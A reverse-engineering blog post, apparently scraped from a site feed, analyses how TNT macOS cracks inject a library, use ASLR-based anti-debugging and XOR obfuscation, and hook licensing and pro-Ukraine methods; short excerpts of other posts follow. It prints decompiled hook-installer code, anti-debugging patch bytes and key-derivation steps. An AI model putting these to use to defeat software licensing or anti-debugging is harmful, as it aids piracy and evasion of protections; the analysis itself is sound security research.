\u0026ldquo;silently\u0026rdquo; exfiltrate data and/or communicate with a C2. Or ransomware too many things if granted full disk access or just important data such as documents or pictures.\nThe x86_64 binary With a reasonable understanding of the crack main features, it\u0026rsquo;s time to turn out attention to the obfuscated x86_64 version. Since I was doing most of the reversing work on a Apple Silicon based machine, I decided to start writing a Unicorn Engine based emulator. Why do things the hard way? The email author mentioned that he was able to dump the binary from memory so that was not a fun challenge and learning opportunity. I also have lots of Unicorn based code from other projects so it would be a lot less work. Yeah, LLMs can\u0026rsquo;t deal with this, easier to just copy and paste from other projects, assuming I can find where that code is :P.\nEmulation is also a good option against a dynamic library since we can just run its code without using the original linked application or own stub. Useful when dealing with a sample obtained from VirusTotal without the main application.\nThe first problem was an instant crash inside the emulated application:\nmov rax, cs:___stack_chk_guard_ptr mov rax, [rax] Originally I mapped the application at memory address 0x10000000, and since ___stack_chk_guard is an external symbol and my emulator code wasn\u0026rsquo;t resolving them, the pointer was set to 0 and so the NULL dereference was breaking things. Unicorn has unmapped memory hooks to detect this kind of issues so no need to map the NULL address as the real macOS does.\nWe can solve this problem in so many different ways:\nNOP the dereference. Point RAX to a valid memory address. Enable a Unicorn code hook and advance instruction pointer to skip the dereference. Go full crazy and implement the external symbol solver. Whatever else you can come up with. Because my brain sometimes goes wild and just wants to close the problem without thinking too much, my first instinct was to replace the first instruction mov rax, 0x31337, and NOP the second. Not even sure why given that we only need to NOP the second. Later on this was unnecessary because I started mapping the library at address zero due to other issues.\nThe patch happens before we start executing the code in Unicorn. We have full control of the memory contents mapped to Unicorn so this is a nice and easy way to introduce code patches before emulation even starts.\nPatch implemented and off we go to the next problem.\nExternal function calls The next crash happens with a call to an external function. In this case it\u0026rsquo;s mprotect.\nWe know it\u0026rsquo;s mprotect because that information is available in the stub:\nThe mprotect prototype is:\nint mprotect(void *addr, size_t len, int prot); Because I initially mapped the Unicorn memory as RWX I don\u0026rsquo;t need to care much about emulating the original function other than returning zero as a successful call.\nTo achieve this, a UC_HOOK_CODE hook is defined. There is an instruction hook UC_HOOK_INSN but Unicorn Engine is limited in the number of supported x86_64 instructions (basically it\u0026rsquo;s in, out, and some other). The code hook is called on every instruction executed. This can be useful to debug the execution when developing the emulator, or to generate an execution trace for analysis using a tool such as lighthouse. Printing to the console can slow down the emulation, otherwise the performance is very high on any modern CPU, Apple Silicon in particular.\nInitially the addresses were hardcoded but later, a Mach-O parser was added to discover all this automatically and emulate other samples. The addresses are from the symbol stubs (the jump to the pointer that is solved by the linker when called the first time) since it\u0026rsquo;s guaranteed that all the calls to the symbol will go through that jump. This way we just need to intercept a single address to discover all the callers to that particular symbol.\nIf the call to mprotect fails then the code tries to use vm_protect, which has the following prototype (identical to mach_vm_protect):\nkern_return_t mach_vm_protect ( vm_map_t target_task, mach_vm_address_t address, mach_vm_size_t size, boolean_t set_maximum, vm_prot_t new_protection ); That\u0026rsquo;s why we see the reference to mach_task_self - it wants to change memory permissions on its own task instead of a remote task.\nThe code then proceeds to do a small initial XOR decode with a fixed key. I didn\u0026rsquo;t reverse what is the role of this but might be related to calculation of other values. Maybe homework for you the reader?\nThe execution breaks again at another unimplemented external function, _dyld_get_image_vmaddr_slide. This happens after some 9 kbytes of code doing similar loop operations to the ones shown for ARM64. Its prototype can be found in system includes at mach-o/dyld.h. This function purpose is to return the ASLR slide of any image mapped in the application memory space:\nintptr_t _dyld_get_image_vmaddr_slide(uint32_t image_index); The emulator doesn\u0026rsquo;t implement ASLR but this is an easy function to emulate. We can extract the argument to the call and just return the zero value, meaning that the target process has ASLR disabled, which normally happens when starting the applications under a debugger to have stable addresses between executions.\nAfter this function is emulated, the code resumes execution with quite a few calls to mprotect in different memory areas and then it finally crashes with a weird instruction error.\nAt this point I wasn\u0026rsquo;t sure about errors in the emulator since I started writing it without debugging the target application. Emulation is easier when you understand how the target works. Debugging was an opportunity to see if the behavior was the same or there was some mistake in the emulator.\nBefore that I tried to use different ASLR return values. The crashes and execution trace were slightly different so that was an hint something fishy was going on.\nThe initial anti-debugging trick Running Lyn.app under LLDB generates a weird crash but running it outside the debugger works fine, so definitely something weird is going on.\nIf we take a look at the disassembly around the crash address:\nThe original bytes at the crash address are meaningless and different from the bytes we have in LLDB, meaning that the code was transformed after address 0x17248. If we pay attention to the code in LLDB we can observe it makes no sense. The enter and retf instructions aren\u0026rsquo;t common at modern user level code (usually in old 16 bit and segmented code). Something is rotten here!\nI forgot to mention that before using the debugger I tried something else. Unicorn also contains very useful memory hooks. One that I usually implement is UC_HOOK_MEM_UNMAPPED to detect all types of unmapped memory access, usually a sign of broken and/or missing emulation. But there are also hooks for successful memory accesses such as read and writes. If we suspect that the code is deobfuscating/decrypting/unpacking/etc, we can setup a UC_HOOK_MEM_WRITE hook and find out exactly where in memory it is writing, and extract those (hopefully) clear bytes. And since we know the possible ranges from the mprotect calls, we can optimize the hook and set it up just on those ranges to avoid tracing all mapped memory space. And voilá, we observe the original code bytes being written with new ones, so there is some kind of transformation going on.\n[DEBUG] Hit memory write at 0x3c9e0 of 1 byte(s): 0xd2 [DEBUG] Hit memory write at 0x3c9e0 of 1 byte(s): 0xd2 [DEBUG] Hit memory write at 0x3c9e1 of 1 byte(s): 0xbe [DEBUG] Hit memory write at 0x3c9e1 of 1 byte(s): 0xbe [DEBUG] Hit memory write at 0x3c9e2 of 1 byte(s): 0x5 [DEBUG] Hit memory write at 0x3c9e2 of 1 byte(s): 0x5 [DEBUG] Hit memory write at 0x3c9e3 of 1 byte(s): 0x19 Back to the anti-debugging\u0026hellip;\nWithout understanding the code we can formulate an hypothesis. If the crack runs fine without the debugger, crashes in the debugger with apparent junk instructions, and we are certain it is overwriting itself, what is different? ASLR!\nIt is very easy to test this hypothesis. Just enable ASLR in LLDB and run the application. Voilá, it doesn\u0026rsquo;t crash but it exits, same behavior we already saw in the ARM64 version.\nThis is a cute idea I haven\u0026rsquo;t seen before, to use the ASLR values to detect the debugger. That\u0026rsquo;s why the call to _dyld_get_image_vmaddr_slide exists. Let\u0026rsquo;s find out how it\u0026rsquo;s done. The call to that function plus the mach header structure have been renamed and added from the initial IDA analysis.\nNot shown here but the value of ebx and then rdx is zero after the call to _dyld_get_image_vmaddr_slide. The return value is not compared right after the call, and then eax and ecx are set or not on the cmov instructions. The values will be different according to the return value of _dyld_get_image_vmaddr_slide. The dereferenced value of edi is always 2, meaning that ecx is 4 before the conditional moves.\nWe can now reverse the logic behind this check:\nIf the ASLR slide is zero, the zero flag (ZF) is set. The first conditional move (cmovz) will make eax equal to edi which is 2. The next move will keep ecx at 4 since the move is not performed if the flag is set.\nIf the ASLR slide is not zero, the zero flag is not set. The first conditional move (cmovz) is not performed, so eax will stay zero. The next conditional move (cmovnz) will be performed (move if zero flag not set), so ecx will also be zero.\nLoosely translated to C:\nintptr_t aslr_slide = _dyld_get_image_vmaddr_slide(0); int edi = 2; int ecx = edi * edi; int eax = 0; if (aslr == 0) { eax = edi; // eax = 2 ; ecx = 4; } else { ecx = 0; // eax = 0; ecx = 0 } Or with the commented disassembly:\nThe code continues parsing the Mach-O header to calculate another address. It starts by loading the library base address (0 in the disassembled file, the dyld assigned base address when loaded in the process space), adds 0x14 bytes to that address, which is the location of sizeofcmds field in struct mach_header_64, dereferences that value to eax, and adds it to the base address. Finally it adds another 0x20 (32) bytes, the sizeof(struct mach_header_64 since sizeofcmds is the size of all load commands after the initial header. All this is just to know where the Mach-O header data ends.\nstruct mach_header_64 { uint32_t magic; /* mach magic number identifier */ cpu_type_t cputype; /* cpu specifier */ cpu_subtype_t cpusubtype; /* machine specifier */ uint32_t filetype; /* type of file */ uint32_t ncmds; /* number of load commands */ uint32_t sizeofcmds; /* the size of all the load commands */ uint32_t flags; /* flags */ uint32_t reserved; /* reserved */ }; It then tries to find the location of the first non zero byte in the memory space starting at the calculated address. Normally this is zero filled padding space until the start of the first section data __TEXT/__text. The data that the code is trying to locate was most certainly injected/generated by the TNT obfuscator tool and we will understand its role next.\nLoosely translating to C it could be something like this:\nchar *ptr = (char*)(base + mh.sizeofcmds + sizeof(struct mach_header_64); if (*ptr != \u0026#39;\\0\u0026#39;) { // do something } else { int limit = 0xA; limit *= limit; int i = 1; do { if (*(++ptr) != \u0026#39;\\0\u0026#39;) { break; } i++; } while (i \u0026lt; limit); } Visualizing the injected data in the hex dump:\nThe next relevant block of code generates two important values, one of which is the XOR key used to deobfuscate the code. It also becomes clear what is the role of the ASLR check - the result will be different if ASLR is enabled or not. In this case, the correct key will be computed if ASLR is enabled, otherwise the key is wrong and it will deobfuscate to bogus code sooner or later. In the case of my emulation target, it would try to deobfuscate a lot more code blocks and finally crash when it tried to execute the bad code.\nThe first xor result with the fixed number is the byte key that will be used for every following deobfuscation operation. The next xor is one of those operations. Initially I didn\u0026rsquo;t pay much attention but that value is the number of elements in a structure (to be precise, the number of elements in the injected data).\nThe fixed value in the first xor is mutable between cracks, so the same key isn\u0026rsquo;t used on every crack. Well, technically it should repeat since it\u0026rsquo;s a single byte, so only 255 possibilities, and TNT does a lot more releases than that. The emulator initial PoC captured the XOR key with a code hook on that address, but after we understand the code this isn\u0026rsquo;t necessary at all since we are dealing with a one byte key.\nWe can confidently assume that the deobfuscated code for the constructor is push rbp; mov rbp, rsp with a hex sequence of 55 48 89 E5 so we can just XOR each obfuscated byte with the expected to extract the key.\nUsing the information from the injected data is even better. The first field is the number of elements that follow, where each element is a pair of int. If we count the number of elements we can just xor the result with the original value to obtain the key. With this information it\u0026rsquo;s super easy to build a static deobfuscator, which I just did while writing this post. In this case it\u0026rsquo;s sx4.\nUsing the previous injected data:\n00000c60 10 00 00 00 52 21 00 00 f6 5b 01 00 65 a6 01 00 |....R!...[..e...| 00000c70 72 2d 02 00 00 00 00 00 00 00 00 00 00 00 00 00 |r-..............| 00000c80 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| The first int is 0x10 (big-endian), followed by two int pairs, (0x2152, 0x15bf6) and (0x1a665, 0x22d72). The XOR key is 0x10 ^ 0x2 = 0x12. To debofuscate each pair, we just need to xor the least significant byte. The deobfuscated pairs then become (0x2140, 0x15be4) and (0x1a677, 0x22d60).\nThe first pair is the start address of __text section, so it will deobfuscate the code from 0x2140 until 0x2140+0x15be4 = 0x17D24 (this is right before the load method we are reversing). The second pair deobfuscates the rest of the load method that is still obfuscated, from 0x1a677 until 0x3D3D7 (the end of the code section).\nThis is what the code that follows the key generation does, it starts reading the start and size values from that data structure, aligns addresses, and calls mprotect to make the code writable so it can be replaced with the deobfuscated version. The next two images are from the Lyn sample, with different registers and slightly different output but the source code is most probably the same (because I had that code commented already instead of the one I was presenting before).\nThe injected data block in this case:\n00000cb0 17 00 00 00 45 39 00 00 85 14 01 00 5b 72 01 00 |....E9......[r..| 00000cc0 4c d1 01 00 00 00 00 00 00 00 00 00 00 00 00 00 |L...............| 00000cd0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| The XOR key for this is then 0x17 ^ 0x2 = 0x15.\nThe final step is to iterate over the configured memory blocks and deobfuscate each byte with a simple xor. When the loop is over the execution resumes right after the last conditional jump, in code that was just deobfuscated. If the XOR key is wrong, than the loop can go for a while and decrypt wrong areas and will certainly result in bad data.\nAfter code resumes execution it will just exit if running under the debugger since it contains the same thread based code to detect and exit the process. If we set a breakpoint at the address after the conditional jump we can dump the deobfuscated binary from memory without any problems. No need for that since semtex and sx4 are able to do it.\nLeft image is the original code, right image the deobfuscated version using one of the tools:\nIn this case the execution resumes after the deobfuscation loop at address 0x1A677.\nNow we have all the pieces that allow us to deobfuscate and debug the binary at will. First we need to deobfuscate the binary, statically or dynamically, next we can patch the different anti-debugging checks, first the ASLR slide value, and next the anti-debugging threads. At least the crack related code can be easily statically analysed since it\u0026rsquo;s mostly swizzling and/or hooking and the replacement functions usually just return a value. That is the last part.\nThe Downie app and Ukraine With the library fully deobfuscated and anti-debugging bypassed, it\u0026rsquo;s time to go after the real question(s) that got me interested. Is the crack malicious, in particular against Ukraine based users? There are known reports of infected cracks specifically targetting Ukraine, so this is a very interesting question.\nSandworm APT Targets Ukrainian Users with Trojanized Microsoft KMS Activation Tools in Cyber Espionage Campaigns\nSandworm Hackers Exploit Pirated Software in Ukraine: A Deep Dive into Cyber Espionage\nPirated Microsoft Office copy caused utility firm breach\nRussian military hackers deploy malicious Windows activators in Ukraine\nThe target application for this section is Downie.\nCopycat wrote me that there were some Ukraine related strings and locale checks. Locale and keyboard configuration, are an easy, reliable and often used technique to decided wether to run malicious payloads or not. Not a smart idea to risk a wiper against your own country :-].\nDownloading the original application and grep\u0026rsquo;ing for Ukraine produces the following results:\n$ rg --binary * Resources/ru.lproj/Localizable.strings 1075:\u0026#34;🇺🇦 Show Solidarity with Ukraine\u0026#34; = \u0026#34;🇺🇦 Проявить солидарность с Украиной\u0026#34;; Resources/en.lproj/Localizable.strings 1075:\u0026#34;🇺🇦 Show Solidarity with Ukraine\u0026#34; = \u0026#34;🇺🇦 Show Solidarity with Ukraine\u0026#34;; $ strings MacOS/Downie\\ 4 | rg Ukraine _showSolidarityWithUkraineButton T@\u0026#34;NSButton\u0026#34;,N,W,V_showSolidarityWithUkraineButton XUShowSolidarityWithUkraine _showSolidarityWithUkraineButton _showSolidarityWithUkraineButton set_showSolidarityWithUkraineButton: showMoreInformationAboutUkraine: toggleShowSolidarityWithUkraine: The original app appears to have some kind of pro-Ukraine support messaging and code. That might not go well with a Russia based cracking group\u0026hellip;\nLet\u0026rsquo;s take a look at the deobfuscated strings from the crack since those methods could be potential targets for swizzling:\n% ./c4 -i libC.dylib.i64 .d8888b. d8888 d88P Y88b d8P888 888 888 d8P 888 888 d8P 888 888 d88 888 888 888 8888888888 Y88b d88P 888 \u0026#34;Y8888P\u0026#34; 888 C4 - A TNT team crack analyser (c) 2025 fG! - reverser@put.as ------------------------------ [DEBUG] Initializing IDA library IDA identified 348 functions. (...) [DEBUG] Size of obfuscator candidates is 78 [DEBUG] Analysing potential string obfuscator @ 0x4dd0 [DEBUG] ==\u0026gt; Decrypted string: \u0026#34;NSString\u0026#34; with XOR key 0x93 [DEBUG] Analysing potential string obfuscator @ 0x4bd0 [DEBUG] ==\u0026gt; Decrypted string: \u0026#34;NSApplication\u0026#34; with XOR key 0x93 [DEBUG] Analysing potential string obfuscator @ 0x49d0 [DEBUG] ==\u0026gt; Decrypted string: \u0026#34;NSMenuItem\u0026#34; with XOR key 0x93 (...) [DEBUG] Analysing potential string obfuscator @ 0x7e70 [DEBUG] ==\u0026gt; Decrypted string: \u0026#34;4907\u0026#34; with XOR key 0x38 [DEBUG] Analysing potential string obfuscator @ 0x8410 [DEBUG] ==\u0026gt; Decrypted string: \u0026#34;K\u0026#39;ed by TNT team\u0026#34; with XOR key 0x38 [DEBUG] Analysing potential string obfuscator @ 0x88a0 [DEBUG] ==\u0026gt; Decrypted string: \u0026#34;NSDate\u0026#34; with XOR key 0x38 (...) [DEBUG] Found 78 obfuscator functions. Valid: 78 ========= Deobfuscated strings ========= NSString NSApplication NSMenuItem sharedApplication mainMenu numberOfItems alloc initWithTitle:action:keyEquivalent: stringWithUTF8String: TNT itemAtIndex: hasSubmenu submenu addItem: separatorItem 4907 K\u0026#39;ed by TNT team NSDate alloc initWithTimeIntervalSince1970: NSString stringWithUTF8String: TNT edition 09.05.1945 MacOS/Downie 4 Downie 4.app NSUserDefaults standardUserDefaults synchronize setValue:forKey: TNT team Release Group setBool:forKey: SUEnableAutomaticChecks SUSendProfileInfo SUAutomaticallyUpdate _$s10Foundation6LocaleV6DownieE9isRussianSbvg _TtC6Downie37XUAppearancePreferencesViewController toggleShowSolidarityWithUkraine: showMoreInformationAboutUkraine: Licensing _$s9Licensing11CMLicensingC10isLicensedSbvg DownieCore _$s10DownieCore16XUCrackProtectorV19isTNTCrackInstalledSbvg Paddle PADProduct verifyActivationDetailsWithCompletion: activationDate activationEmail licenseCode activated XUCoreUI _TtC8XUCoreUI15XUMessageCenter _launchMessageCenter gdb lldb debugserver mac_server opper NSBundle mainBundle objectForInfoDictionaryKey: UTF8String __TEXT __DATA __LINKEDIT __DATA_CONST __text NSObject applicationDidBecomeActive: NSNotificationCenter NSString defaultCenter addObserver:selector:name:object: stringWithUTF8String: class NSApplicationDidFinishLaunchingNotification ========= End Deobfuscated strings ========= [DEBUG] ******** Locating anti-debugging calls ******** [DEBUG] =\u0026gt; Found pthread call @ 0x9169 @ offset 0x9169 patch with 06 00 00 14 [DEBUG] =\u0026gt; Found pthread call @ 0xcdd8 @ offset 0xcdd8 patch with 06 00 00 14 [DEBUG] =\u0026gt; Found pthread call @ 0x1e07c @ offset 0x1e07c patch with 06 00 00 14 [DEBUG] =\u0026gt; Found pthread call @ 0x21ab4 @ offset 0x21ab4 patch with 06 00 00 14 [DEBUG] =\u0026gt; Found pthread call @ 0x2553d @ offset 0x2553d patch with 06 00 00 14 [DEBUG] =\u0026gt; Found pthread call @ 0x28f6e @ offset 0x28f6e patch with 06 00 00 14 [DEBUG] =\u0026gt; Found pthread call @ 0x28fdd @ offset 0x28fdd patch with 06 00 00 14 [DEBUG] =\u0026gt; Found pthread call @ 0x2ca89 @ offset 0x2ca89 patch with 06 00 00 14 [DEBUG] =\u0026gt; Found pthread call @ 0x3058c @ offset 0x3058c patch with 06 00 00 14 [DEBUG] =\u0026gt; Found pthread call @ 0x342f8 @ offset 0x342f8 patch with 06 00 00 14 Biggest function is sub_17D2B @ 0x17d2b with 100681 bytes Some eye catching strings are:\n09.05.1945 _$s10Foundation6LocaleV6DownieE9isRussianSbvg toggleShowSolidarityWithUkraine: showMoreInformationAboutUkraine: I also like this one _$s10DownieCore16XUCrackProtectorV19isTNTCrackInstalledSbvg, meaning that the author and/or Paddle are playing crack\u0026rsquo;n\u0026rsquo;seek games with TNT 💀.\nLet\u0026rsquo;s take a look at the replacement methods to understand what is going on. The crack usually follows these steps:\nDeobfuscate the target method string. Retrieve the implementation pointers. Swap the implementation using jump hooks (or swizzling in ARM64). Move to the next method. Everything necessary is usually nearby each string deobfuscation call. The C4 output tells us to which function does the string belong to, so it\u0026rsquo;s easy to cross reference and find its caller.\nInitially I thought that method swizzling was used but that is false in the x86_64 version. A classic jmp hook is used instead.\nLet\u0026rsquo;s analyse what is happening with the toggleShowSolidarityWithUkraine: method.\nThe C4 tool renamed the entrypoint stub functions used to deobfuscate strings and added comments with the target string for easier reference.\nThe first string is _TtC6Downie37XUAppearancePreferencesViewController, which is the class the method belongs to. Next is the target method toggleShowSolidarityWithUkraine:. We can confirm this by looking at the next function labeled fg_get_method_implementation. Its pseudocode is:\nIMP __fastcall fg_get_method_implementation(const char *className, const char *methodName) { objc_class *Class; // rbx const char *selector; // rax objc_method *InstanceMethod; // rax Class = objc_getClass(className); selector = sel_registerName(methodName); InstanceMethod = class_getInstanceMethod(Class, selector); return method_getImplementation(InstanceMethod); } The decompiler has no problems and we can comment the variables for a clean output. The return value is a function pointer of type IMP. Essentially this function locates the address where the method is located at.\nThe returned pointer is the first argument to the next function fg_replace_method_implementation. The second argument isn\u0026rsquo;t shown in the screenshot but it\u0026rsquo;s another function pointer to the replacement function.\n000000000000CE02 lea r15, sub_17AB1 The replacement function is a simple return zero, transforming the original method into a nop.\n__int64 sub_17AB1() { return 0LL; } We just need to understand the function that implements the replacement.\nkern_return_t __fastcall fg_replace_method_implementation(mach_vm_address_t address, __int64 a2) { kern_return_t result; // eax mach_port_t *v3; // r14 _WORD data[12]; // [rsp+0h] [rbp-30h] BYREF __int64 v5; // [rsp+18h] [rbp-18h] v5 = *(_QWORD *)__stack_chk_guard_ptr; result = 4; if ( address \u0026amp;\u0026amp; a2 ) { // test if addresses aren\u0026#39;t zero if ( address == a2 ) { // already hooked if the addresses are equal return 1; } else { data[0] = 0x25FF; // start of a JMP instruction *(_DWORD *)\u0026amp;data[1] = 0; // this makes the first bytes FF 25 00 00 00 00 *(_QWORD *)\u0026amp;data[3] = a2; // write the 64 bit destination address after (6 bytes from the start) v3 = mach_task_self__ptr; // change memory protection to VM_PROT_ALL | VM_PROT_COPY result = mach_vm_protect(*mach_task_self__ptr, address, 0x10uLL, 0, 23); if ( !result ) { // write the hook - 16 bytes // 6 + 8 were set , with 2 \u0026#34;leaking\u0026#34; bytes result = mach_vm_write(*v3, address, (vm_offset_t)data, 0x10u); if ( !result ) // restore protection to VM_READ | VM_EXECUTE return mach_vm_protect(*v3, address, 0x10uLL, 0, 5); } } } return result; } This function shows that traditional method swizzling with class_replaceMethod, method_setImplementation or others is not used but instead is implemented with straightforward jump hooking.\nThe initial bytes of the hooked function will be transformed into:\nFF 25 00 00 00 00 jmp qword ptr [rip] 00 00 00 00 00 00 00 00 new function address This code will jump to whatever value is deferenced after the jmp instruction. In this case that value is set to the replacement function address and everything will be ok.\nSo technically it\u0026rsquo;s not a replace method implementation function as I initially labelled, but just a hook installer that can be used for Objective-C methods but also C functions (or anything else) as long there is enough space in the original function to setup the hook. The minimum space for this implementation in x86_64 is 14 bytes.\nThe _$s10Foundation6LocaleV6DownieE9isRussianSbvg function is also hooked but in a slightly different way because it\u0026rsquo;s not an Objective-C method.\nThe original code can be found in the main binary:\n% nm Downie\\ 4| grep s10Foundation6LocaleV6DownieE9isRussianSbvg 00000001000c35a0 t _$s10Foundation6LocaleV6DownieE9isRussianSbvg It appears to be a Swift method and IDA demangles it to Locale.isRussian.getter().\nA quick look into the pseudocode:\nv8 = Locale.languageCode.getter(); (...) if ( v8 == 30066 \u0026amp;\u0026amp; v9 == 0xE200000000000000LL ) And finally searching Apple\u0026rsquo;s documentation:\nLocale.LanguageCode An alphabetical code associated with a language.\nThe code retrieves the current locale of the host where it\u0026rsquo;s running and if it\u0026rsquo;s Russian do something and return true.\nOne of the callers of that method enables the pro-Ukraine support messaging if it detects the Russian locale.\nv9 = Locale.isRussian.getter(); (*(void (__fastcall **)(__int64 *, __int64))(v78 + 8))(\u0026amp;v76, v77); v10 = v80; v11 = XUPreferences.boolean(for:defaultValue:)( 0xD00000000000001BLL, \u0026#34;yWithUkraineButton\u0026#34; + 0x8000000000000000LL, v9, v80, v79, v6, v8); The replacement function for this Swift code is the same returning zero as we saw before. So when the hook is implemented the cracked app will never detect the Russian locale and fail to enable any pro-Ukraine or anti-Russia logic that it might have.\nThe hook installer code in this case requires some extra steps because it\u0026rsquo;s not an Objective-C method. Instead it tries to locate the symbol address in the loaded images (it is located in the main binary as we saw) using NSLookupSymbolInImage and NSAddressOfSymbol APIs from dyld. When the address is found, it calls the same function we saw before to install the jump hook.\nThe other visible Ukraine related method is also hooked using the same replacement function. All Ukraine related code is effectively neutered by the crack.\nThe same technique is used to implement the crack, usually hooking a isRegistered: method and returning YES, true, or whatever the application expects as valid, but can also be more complicated when needing to defeat Paddle or other more complex DRM implementations.\nInstead of traditional disk patching everything is done in runtime from the injected library. The only disk patching is to inject the library into the main binary or linked frameworks. It\u0026rsquo;s a more flexible and powerful solution.\nThe most frequent target for the library injection is the Sparkle framework. In Downie\u0026rsquo;s case it is the Paddle.framework:\notool -l \u0026#34;Downie 4.app/Contents/Frameworks/Paddle.framework/Versions/A/Paddle\u0026#34; Downie 4.app/Contents/Frameworks/Paddle.framework/Versions/A/Paddle (architecture x86_64): (...) Load command 25 cmd LC_LOAD_DYLIB cmdsize 72 name @loader_path/../../../../Resources/libC.dylib (offset 24) time stamp 0 Thu Jan 1 01:00:00 1970 current version 4.0.0 compatibility version 4.0.0 This avoids modifying the main binary and any potential checksum checks. Less work is more :-).\nARM64 hooking In the ARM64 version we can find method swizzling. Next is a code sample for a random crack, where the target app implements a basic isTrialPeriod method. This is commonly cracked by returning false or the number of available days. The replacement method sub_9434 just returns 0 in this case.\nThe swizzling happens when the original method is overwritten by a new implementation using method_setImplementation.\nv1505 = (const char *)28_fg_callstub(); // obf: \u0026#34;AppDelegate\u0026#34; v1506 = (const char *)30_fg_callstub(); // obf: \u0026#34;isTrialPeriod\u0026#34; v1507 = objc_getClass(v1505); v1508 = sel_registerName(v1506); v1509 = class_getInstanceMethod(v1507, v1508); if ( v1509 ) method_setImplementation(v1509, (IMP)sub_9434);// same thing, now returns 0 Looking at a few different samples, I couldn\u0026rsquo;t find an equivalent jump hooking in the ARM64 version. Possible reasons could be to avoid any code signing issues on Apple Silicon, maybe not needed, or the x86_64 version is like that for legacy reasons (cracker\u0026rsquo;s technical debt!).\nBenign code injection The TNT team tags each app with an entry in the help menu. Another demo of full control of the target app.\nThe code retrieves the menu entries of the application and locates the right spot to inject their menu item:\nHere is the part that injects the separator before the team \u0026ldquo;tag\u0026rdquo;.\nConclusion As described before there were already examples of pirated software used for cyber espionage in this war. Cyber operations were and are important in this conflict (there are recent reports that Ukraine train system suffered a cyber attack paralysing its ticketing system, and then a counter cyber-attack on Russian train system). There was a lot of initial hype three years ago and maybe cyberwar didn\u0026rsquo;t lived up to that hype (honestly, I assume we really don\u0026rsquo;t know the full story). But it is certain that both sides are involved in these type of operations and their impact is real.\nI couldn\u0026rsquo;t find (yet?) any malicious traces in the few samples I looked at. Downie contains clear modifications to disable any pro-Ukraine messaging.\nBut as we have seen, the cracks have full control of the host process and malware can be easily added to this. If the host application has powerful permissions such as full access to the file system (the amount of TCC bypasses still coming out is ridiculous, but that\u0026rsquo;s another problem) and network, then it\u0026rsquo;s extremely easy to abuse this for malicious purposes - retrieve and exfiltrate date without raising significant alarms if for example Little Snitch is running but the user setup permissions to connect anywhere because user trusts the app and gets tired of those pesky permission dialogs.\nThe cracks are protected by light obfuscation and anti-debugging, which doesn\u0026rsquo;t help the case. This most probably was created long time ago to protect the cracks (since it\u0026rsquo;s easy to just copy them and now race the releases) but it\u0026rsquo;s a system that can be abused. Who is the source of the decision to patch any pro-Ukraine messaging?\nEven if the original group has no intention to add malicious behavior to their work, the distribution to the general population can be easily corrupted by any site with the wrong incentives. TNT signs and hashes their releases, but how many users verify that information? Probably very few to none.\nExtra care should be taken by users. And that is true for these or any other cracks. And even regular software is at danger given the increasing amount of supply chain attacks. The amount of implicit trust is ridiculous these days. I love Halvar\u0026rsquo;s trust graphs image, and one I always keep at hand.\nThis was a fun target to reverse engineer and create tools for. I hope you also add some fun and hopefully learnt something.\nOld school greets to Copycat for starting this adventure, and the TNT team for making it possible.\nOh, after almost three years since leaving my startup and enjoying life, I\u0026rsquo;m kinda interested in returning to the job market. I\u0026rsquo;m not sure what I want to do, I am flexible. I really enjoy solving weird problems, reversing, and developing tools and proof of concept solutions. I did quite a few engineering work over the last years but not much interested on that kind of position - I rather solve the problems and create the PoC, and let the real engineers make a real product out of it. Get in touch if you think you might have something interesting.\nHave fun,\nfG!\n","permalink":"https://reverse.put.as/2025/03/13/cracking-the-crackers/","summary":"\u003cp\u003eA few weeks ago, Copycat sent me an email asking if I knew anything about the TNT warez group macOS cracks. They were worried that the cracks could be used to leverage malware since TNT is (?) Russia based. Cyber war is real and this could be an interesting case to look at.\u003c/p\u003e\n\u003cp\u003eThese cracks are based on a dynamic library injection, with obfuscated code and anti-debugging measures. This of course triggered my curiosity since the usual anti-anti-debugging measures (ptrace \u0026amp; friends) weren\u0026rsquo;t working. Even more interesting, one of the cracked apps had pro-Ukraine related content that was modified, so it was a perfect target for malware. Even if malware free, what was behind the obfuscation and anti-debugging?\u003c/p\u003e","title":"Cracking the Crackers"},{"content":"Flare-On 2024 is gone and I just made a presentation about the challenge #5 at the local meetup called 0xOpoSec. I think it\u0026rsquo;s a nice challenge to introduce a few RE and forensics concepts, and a perfect candidate to present this year.\nThe slides are available here, and the Unicorn Engine emulator I used to extract the flag from the final shellcode here.\nLast year I did the same with challenge #12, also with a Unicorn Engine emulator. Slides are available in Github and also here.\nSince my loader fix was censored by Hex-Rays with a spurious DMCA takedown (not worth the trouble to fight this garbage) I\u0026rsquo;m leaving here its full and uncensored NFO :-).\nWe love .DS_Store :))))))))))))\nHave fun,\nfG!\n","permalink":"https://reverse.put.as/2024/11/29/flare-on-2024-sshd/","summary":"Flare-On 2024 is gone and I just made a presentation about the challenge #5 at the local meetup called 0xOpoSec. I think it\u0026rsquo;s a nice challenge to introduce a few RE and forensics concepts, and a perfect candidate to present this year.\nThe slides are available here, and the Unicorn Engine emulator I used to extract the flag from the final shellcode here.\nLast year I did the same with challenge #12, also with a Unicorn Engine emulator.","title":"Flare-On 2024 Challenge #5 - sshd"},{"content":"I apologize if this information is already known, but I couldn\u0026rsquo;t find any references about it and I wanted to understand what was going on and share with you because I think there is some value doing it.\nIn case this wasn\u0026rsquo;t known, I apologize to the Go team for not talking to them first and jumping the full disclosure gun (I don\u0026rsquo;t think it\u0026rsquo;s that severe). I really like Go! Thanks for all your great work.\nThe problem Last night, I was exploring the contents of Go\u0026rsquo;s checksum database, and I noticed a curious result:\nsqlite\u0026gt; select path, count(path) from modules group by path order by count(path) desc; github.com/homebrew/homebrew-core|39438 github.com/Homebrew/homebrew-core|30896 github.com/concourse/concourse|25372 github.com/openshift/release|24065 github.com/cilium/cilium|22138 The homebrew/Homebrew case divergence is explained by Go\u0026rsquo;s documentation (thanks to Filippo Valsorda!):\nTo avoid ambiguity when serving from case-insensitive file systems, the $module and $version elements are case-encoded by replacing every uppercase letter with an exclamation mark followed by the corresponding lower-case letter. This allows modules example.com/M and example.com/m to both be stored on disk, since the former is encoded as example.com/!m.\nAnyway, this caught my attention because Homebrew is known to use Ruby, and so I went to check the repository contents.\nGitHub language stats confirm it:\nThis result seems unexpected, since there are no traces of Go and there are more than 70,000 entries in Go\u0026rsquo;s checksum database. To be sure, I cloned the repository and tried to find any Go-related files such as go.mod or Go source files; however, nothing exists.\nSo I posted a tweet (technically a toot on Mastodon), got no reply and moved on.\nWhile continuing to explore the database, I noticed another unusual case in github.com/Edu4rdSHL/rust-headless-chrome. It\u0026rsquo;s just a 